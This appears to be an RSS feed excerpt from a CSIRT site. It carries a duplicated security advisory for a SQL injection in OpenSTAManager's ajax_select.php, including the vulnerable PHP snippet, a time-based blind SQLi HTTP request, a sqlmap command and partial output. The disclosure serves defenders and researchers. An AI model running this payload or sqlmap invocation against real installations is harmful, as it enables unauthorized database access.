https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 15 Oct 2026 02:25:23 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-267686 EUVD-2026-267686 https://cve.radiocsirt.org/vuln/euvd-2026-267686 https://cve.radiocsirt.org/vuln/fkie_cve-2025-69214 <p>OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, an SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.</p> <p>OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, an SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-69214 https://cve.radiocsirt.org/vuln/ghsa-qjv8-63xq-gq8m <p><strong>Affected:</strong> Packagist: devcode-it/openstamanager</p> <p>## Summary A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.</p> <p>## Proof of Concept</p> <p>### Vulnerable Code **File:** `modules/impianti/ajax/select.php:122-124`</p> <p>```php case &#39;componenti&#39;: $impianti = $superselect[&#39;matricola&#39;]; if (!empty($impianti)) { $where[] = &#39;`my_componenti`.`id_impianto` IN (&#39;.$impianti.&#39;)&#39;; } ```</p> <p>### Data Flow 1. **Source:** `$_GET[&#39;options&#39;][&#39;matricola&#39;]` → `$superselect[&#39;matricola&#39;]` 2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization 3. **Sink:** Query executed via AJAX framework</p> <p>### Exploit</p> <p>**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_select.php?op=componenti&amp;options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=&lt;valid-session&gt; ``` &lt;img width=&#34;1306&#34; height=&#34;581&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011&#34; /&gt;</p> <p>**SQLMap Exploitation:** ```bash sqlmap -u &#39;http://localhost:8081/ajax_select.php?op=componenti&amp;options[matricola]=1*&#39; \ --cookie=&#34;PHPSESSID=&lt;session&gt;&#34; \ --dbms=MySQL \ --technique=T \ --level=3 \ --risk=3 ```</p> <p>**SQLMap Output:** ``` [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)&#39; injectable Parameter: #1* (URI) Type: time-based blind T…</p> <p><strong>Affected:</strong> Packagist: devcode-it/openstamanager</p> <p>## Summary A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.</p> <p>## Proof of Concept</p> <p>### Vulnerable Code **File:** `modules/impianti/ajax/select.php:122-124`</p> <p>```php case &#39;componenti&#39;: $impianti = $superselect[&#39;matricola&#39;]; if (!empty($impianti)) { $where[] = &#39;`my_componenti`.`id_impianto` IN (&#39;.$impianti.&#39;)&#39;; } ```</p> <p>### Data Flow 1. **Source:** `$_GET[&#39;options&#39;][&#39;matricola&#39;]` → `$superselect[&#39;matricola&#39;]` 2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization 3. **Sink:** Query executed via AJAX framework</p> <p>### Exploit</p> <p>**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_select.php?op=componenti&amp;options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=&lt;valid-session&gt; ``` &lt;img width=&#34;1306&#34; height=&#34;581&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011&#34; /&gt;</p> <p>**SQLMap Exploitation:** ```bash sqlmap -u &#39;http://localhost:8081/ajax_select.php?op=componenti&amp;options[matricola]=1*&#39; \ --cookie=&#34;PHPSESSID=&lt;session&gt;&#34; \ --dbms=MySQL \ --technique=T \ --level=3 \ --risk=3 ```</p> <p>**SQLMap Output:** ``` [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)&#39; injectable Parameter: #1* (URI) Type: time-based blind T…</p> https://cve.radiocsirt.org/vuln/ghsa-qjv8-63xq-gq8m